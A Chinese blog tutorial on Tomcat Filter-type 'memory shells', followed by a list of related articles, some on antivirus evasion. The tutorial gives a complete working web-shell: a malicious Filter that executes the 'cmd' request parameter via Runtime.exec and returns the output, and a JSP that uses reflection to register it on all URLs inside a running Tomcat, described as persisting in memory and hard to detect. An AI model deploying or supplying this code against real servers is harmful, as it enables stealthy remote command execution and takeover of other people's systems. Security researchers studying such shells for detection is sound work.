Tomcat内存马-Filter型

什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述

Filter加载流程分析

tomcat启动后正常情况下对于Filter的处理过程:

  • 加载web.xml配置文件
  • 读取filter的信息,并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
  • filterChain的构造流程:1. 匹配请求路径,找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain

利用jsp文件完成动态注册恶意filter

需要解决的问题

  • 怎么获取context对象
  • 利用动态加载,如何修改filterConfigs,filterDefs,filterMaps,将恶意filter插入。

恶意Filter对象

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("添加");
String cmd = servletRequest.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
while(true) {
String tmp = null;
if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
servletResponse.getOutputStream().print(tmp);
}else{
break;
}
}
return;
}

在这里可以jsp进行注入

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<center><h1>Dynamic Memory-Type Horse</h1></center>
</body>
</html> <%
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext(); if(context.findFilterDef("Filter_new")==null){
//2.配置过滤器并初始化FilterDef
String newFilterName = "Filter_new";
String newFilterClass = "sec.aur0ra.filter.Filter"; FilterDef filterDef = new FilterDef();
filterDef.setFilterName(newFilterName);
filterDef.setFilterClass(newFilterClass); //3. 注册FilterDef
context.addFilterDef(filterDef); //4. 创建并注册FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Filter_new");
filterMap.addURLPattern("/*"); context.addFilterMapBefore(filterMap);
//context.addFilterMap(filterMap); //5. 添加FilterConfig
Constructor constructor = null;
try {
//获取FilterConfigs对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context); constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef); filterConfigs.put(newFilterName, filterConfig);
} catch (Exception e){
;
} }
FilterMap[] filterMaps = context.findFilterMaps();
System.out.println("注册成功");
%>

在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等

直接访问恶意jsp文件

恶意的filter已经被成功注入

再访问正常界面

访问成功,说明内存成功注入。报错只是因为没有传参,所以报错不一定代表坏消息

传参cmd

可能遇到的问题

filterDef,filterConfigs,filterMappers中未添加全对应的信息

小结

可以看到,这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去,但还是免不了借助了jsp文件,虽然后面可以删除,但还是会有文件记录,自然也就容易被查杀。利用反序列化执行代码?后续再学习吧

【免杀技术】Tomcat内存马-Filter的更多相关文章

  1. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  3. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  4. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  5. kali linux之免杀技术

    恶意软件: 病毒,木马.蠕虫,键盘记录,僵尸程序,流氓软件,勒索软件,广告程序 在用户非自愿的情况下安装 出于某种恶意的目的:控制,窃取,勒索,偷窥,推送,攻击 恶意程序最主要的防护手段:杀软 检测原 ...

  6. Tomcat 内存马(一)Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  7. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  8. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  9. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

随机推荐

  1. ORA-14450: 试图访问已经在使用的事务处理临时表

    需要对临时表动态添加列,经常碰到表在事务中被使用的情况,如果可以的话,可以现在只用临时表的时候先truncate,这样可以终止事务对当前临时表的占用. execute immediate('trunc ...

  2. 使用pynput同时监听鼠标和键盘

    pynput概述 pynput是一个基于python的,能够监听和控制鼠标和键盘的第三方库. pynput主要包括两个类,pynput.mouse和pynput.keyboard,顾名思义,前者可以用 ...

  3. Java网络编程Demo,使用TCP 实现简单群聊功能GroupchatSimple,多个客户端输入消息,显示在服务端的控制台

    效果: 服务端 客户端 实现代码: 服务端 import java.io.IOException; import java.net.ServerSocket; import java.net.Sock ...

  4. 射频FEM介绍

    FEM介绍 1. 什么是FEM 1.1 FEM简介 FEM,Front-end Modules,即就是前端模块.硬件电路中的前端模块完成射频信号的发送放大以及接收放大(with bypass).滤波, ...

  5. docker 容器大小查看及清理docker磁盘空间

    本文为博主原创,转载请注明出处: 今天打开服务器下载文件时,发现服务器内存不足,并开始清理服务器内存,排查及清理方法如下: 1. 查看服务器内存大小: df -h            通过 df - ...

  6. JZOJ5409. Fantasy && Luogu2048 [NOI2010]超级钢琴

    题目大意 给出一个序列和\(L, R\), 求前k大长度在\([L,R]\)之间的连续子序列的和的和. 解题思路 朴素的想法是对于一个左端点\(p\), 它的右区间取值范围是一个连续的区间即\([p+ ...

  7. xshell 所选的用户密钥未在远程主机上注册;无法加载密钥

    他山之石 https://zhuanlan.zhihu.com/p/92528287 安全起见,服务器最近的安全策略准备进行更改,逐渐由原来的密码登录更换为密钥登录认证. 于是今天把服务器上的id_r ...

  8. Powershell 【控制台常用方法】

    1 function Pause(){ 2 [System.Console]::Write('按任意键继续...') 3 [void][System.Console]::ReadKey(1) 4 } ...

  9. vue3.0+vite+ts项目搭建(报错处理)

    报错一 warning package.json: No license field$ vue-tsc --noEmit && vite build 解决方案,添加这两行,只添加一个是 ...

  10. BugKu CTF(杂项篇MISC)-贝斯手

    打开是以下内容 先看一下给了哪些提示 1.介绍 没了?不,拉到最底下还有 2.女神剧照 密码我4不会告诉你的,除非你知道我的女神是哪一年出生的(细品) 大致已经明白了,四位数密码,出生年份 文件是以下 ...